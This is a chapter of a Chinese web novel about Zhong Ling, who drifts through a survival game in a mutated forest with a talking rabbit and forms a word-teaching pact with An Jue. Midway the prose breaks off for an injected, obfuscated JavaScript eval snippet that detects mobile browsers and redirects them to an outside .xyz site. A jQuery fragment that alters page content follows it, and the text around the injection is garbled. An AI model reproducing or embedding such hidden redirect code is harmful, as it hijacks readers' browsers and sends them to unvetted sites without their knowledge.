钟零把戒指收回手里,卡片还给了景元宝。


    这让景元宝警铃大作,一把扑下抱住了钟零的小腿:“女侠,我们合作共赢好不好。”


    钟零动不了,把问号展示给景元宝看。


    景元宝把一叠卡片展示给钟零,手指了指后方,又捏起来做成蛇的样子,双臂抱紧自己做出一个发抖的样子。


    景元宝的演技出神入化,跟猫和老鼠里和斯派克求饶的汤姆一样,目光里还带着诚挚的恳求。


    但钟零没有被这真诚的要抱大腿的目光打动,弯腰把景元宝扶了起来,很客气地推开。


    钟零用笔在纸上画上了月亮和太阳的形状,两方之间互相打了个箭头。


    安诀在旁边写了个数字4。


    距离这场游戏结束,还有四天。


    钟零看着数字,沉思了一下,把纸笔都收好,伸手把自己的背包要了过来。


    见景元宝依然看着她,钟零想起来这纸和笔是她的,又示意景元宝伸出手,随后把戒指交在了景元宝手上,就当是一场交换。


    反正戒指也没什么作用。


    对于安诀,钟零也发觉了一些问题,他应该是自愿来参赛的。


    既然这是一场游戏,来的时候飞机上不少人都是云淡风轻的。


    有些看起来弱不禁风的人,虽然脸上有担忧,但并没有被胁迫做什么事情的惊恐。


    说明这场游戏有退路。


    那么钟零对安诀的作用就是可有可无的了。


    他坚持不下去,其实有方案退出这场游戏,不论方案是什么,这些监视他们的电子蜻蜓,应该也会在危险的情况下,起到一些帮助的作用。


    末世要活下去是人类的难题,防备那些变异的生物,防备有可能异化的同伴。


    现在的世界却把生存当成了一场可供娱乐的游戏,生命被加上了奖励的砝码,变得可以用价值衡量。


    钟零往后退了一步,见景元宝又要凑上来,她躲开了景元宝的靠近。


    长棍被钟零捡了起来,安诀怀里的兔子被钟零抱走放在地上


    钟零看还不明白情况的兔子,对它说:“等下跟紧我,丢了我就不管你了。”


    钟零往后撤了一步,安诀的黑眸微微闪了一下。


    挥挥手,钟零算是告别,拒绝的意味十分明显。


    她没有按照最开始的计划走,反而朝着一边密集的林子里走,兔子在她身后一蹦一跳地跟着。


    既然是一场游戏,钟零没再管身边纷飞不停的电子蜻蜓,她想借着剩下的时间,看看这林子里还有多少异变的生物。


    钟零的动作其实并没有多快,背影却如同一个奔赴战场的战士一样坚定。


    兔子半途中还回了一下头,看到原地和老大一样的同伴还在朝他们的方向看。


    兔子叫了一声老大:“老大,老大,真的不管他们了吗?”


    钟零说:“没必要。”


    景元宝从地上爬了起来,看着手里的戒指,又看看安诀:“我们两个是都被抛弃了吗?”


    戒指看起来很漂亮,景元宝当然知道是什么意思:“那个纸和笔不值钱,我感觉我有点良心不安。”


    眼神一晃,景元宝手里的戒指就被拿走,换了另一个东西,是一根金条。


    景元宝的眼睛都要掉出来了,这金条的份量可实在,肯定比戒指贵很多。


    都还没等她反应过来,安诀就已经朝着钟零的方向跟了过去。


    景元宝拿着金条抓了抓头发,嘀咕道:“没想到还能白捡便宜。”


    足够原始的森林里有丰富的物种资源,但真要找,还是有些难度的。


    身体素质还有点差,钟零喝了口水,环顾前方。


    兔子的耳朵竖起来好久,也没听到什么声音。


    身后还有个人深一脚浅一脚地跟着。


    钟零一次头都没回过。


    她找到了一个箱子,里面不出意外有东西。


    电子蜻蜓拍到她的时候,头顶又响起了播报声。


    钟零在那些音里找到了自己的名字。


    钟零捡起看不懂的卡片,丢进包里,箱子里有几块包装好的肉。


    兔子立起来扒着箱子看,它知道钟零找到的是能吃的东西。


    跟着钟零这么久,兔子也有点想为钟零做贡献,它在这林子中待了很久,知道林子里有什么好吃的,什么不能吃的。


    它和钟零说林子里有果子吃。


    雨林里的环境相当于一直处在夏季,植物四季常绿不说,结果的植物也是四季都有的。


    钟零只是嗯了一下,并不显得有多兴奋,而且说:“还是先帮我找其他的动物吧。”


    兔子从箱子上下来,看了钟零背后一眼:“老大,那个人一直在跟着你。”


    也就是刚刚走在路上的时候,钟零让兔子帮忙找其他生物的时候,兔子才知道钟零和钟零的同伴都叫人。


    跟兔、蛇一样,人也是一个种类。


    兔子见安诀一直跟着钟零,样子还很可怜,小小的心就有些觉得他很可怜。


    它虽然怕安诀,但刚才一路它都被他抱着,还是有点感激在的。


    钟零语气还是听不出来什么,或者说是不在意:“我没有权利不让他跟着。”


    钟零把箱子合上后,坐在了箱子上面,拆开了一袋卤肉。


    肉的味道对她来说太咸了,吃的时候她皱了下眉,但没停下来。


    到现在为止,她的身上出了不少汗,补充盐分也很重要。


    钟零垂着眸吃东西,一瓶水递了上来。


    是刚拧开的,跟着钟零的安诀,中途消失了一阵,再出现的时候就是比之前还狼狈的状态。


    这种地方,水是很珍贵的物资资源,那些流动的水没有处理过,谁也不敢喝。


    说不定里面就有寄生虫或者什么细菌病毒。


    钟零没接水,安诀就蹲下来看她。


    依然是那种无害的样子,还有点隐隐约约的委屈,好像不知道钟零为什么抛弃了他。


    钟零见状,把另一块肉给安诀。


    安诀没接。


    钟零把问号拿出来给安诀看。


    她不知道安诀跟着自己,想要什么。


    电子蜻蜓翅膀的震动声和不知名的虫子叫声掺在一起。


    钟零不得不又画了一个问号,双重表示自己的疑问。


    “钟零。”安诀突然开口。


    钟零抬头看着安诀。


    安诀拎起旁边什么也不懂,就只知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224531|181688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看热闹的兔子:“兔子。”


    钟零听到了一个新鲜的词语,词语的含义指向兔子。


    安诀的手又搭在了箱子上:“箱子。”


    手臂横在坐在箱子上的钟零旁边,钟零是没办法不注意到他手臂上的肌肉线条。


    从这流畅的线条来看,前面这个人不应该这么虚弱。


    当然也有可能是基因优势,末世上学体能训练的时候,也有人三天动一次,一年的训练可以达到别人三年的效果。


    钟零陆续指着身边好几样东西念出了它们的名称。


    花草树木石头。


    钟零的语言系统一点点在录入,兴趣也逐渐加深,等到钟零的兴趣彻底被挑起来的时候。


    安诀一下停了。


    钟零再次看向了那张脸,明明是无辜的表情,盯久了,却莫名感觉有些可恶。


    这也是一种交换。


    钟零发现安诀真是很聪明,现在能跟她实现无障碍沟通的,只有他。


    跟脑子里装了一样的系统一样,钟零做个什么动作,安诀总是能最快理解她的意思。


    钟零想起最开始想带着安诀的时候,其实就有这一方面的考虑。


    她有些动摇起来,四天的时间,其实够她学很多东西。


    钟零给安诀的感觉一直是猫的感觉,悄无声息的,又很聪明,而且警惕得要命。


    用她最在意的东西引诱她,她都没有一下就答应。


    安诀只能耐心等待。


    两个人一个坐着,一个半蹲着,时间就这么被拉扯着。


    兔子忍不住开口:“老大,他想干什么?”


    钟零也是在兔子开口之后,做下决定。


    不过她先把吃的肉放在一边,做了个双手合十的动作。


    做完之后,盯着安诀看。


    如果他这次再说出安诀两个音调,她是绝对不会跟他合作的。


    合作是双方的坦白平等,钟零很有原则。


    “谢谢。”安诀吐出了两个相同的音,叠在一起。


    钟零模仿了一遍:“谢谢?”


    见安诀点头,钟零又说了一遍:“谢谢。”


    这一次不是练习,是对安诀说的。


    钟零在思考怎么让安诀保证不骗她,达成一个长久稳定的合作。


    安诀已经拿起纸笔写了一串什么,在上面写了自己的名字。


    又把笔塞到钟零手里。


    钟零还不懂那串文字是干什么的,安诀已经站起来绕到她一边,抓起了她的手。


    跟教小孩写字一样,钟零看着笔下多出来两个造型复杂的方块,比起旁边两个,丑了不少。


    安诀分别指着两个名字念了一下:“安诀,钟零。”


    至于名字上面那一段文字是什么含义,安诀伸出小指,像是某种仪式。


    钟零犹豫了一下,学着他的样子伸出小指,两个小指勾在了一起。


    大拇指印在了一起。


    见安诀朝她笑了下,钟零察觉到这个手势是某种约定的意思。


    她指了一下自己的鼻子,想做个检验。


    “鼻子。”安诀果然很配合地念出了和之前音调不同的东西。


    :这还是安诀本人吗......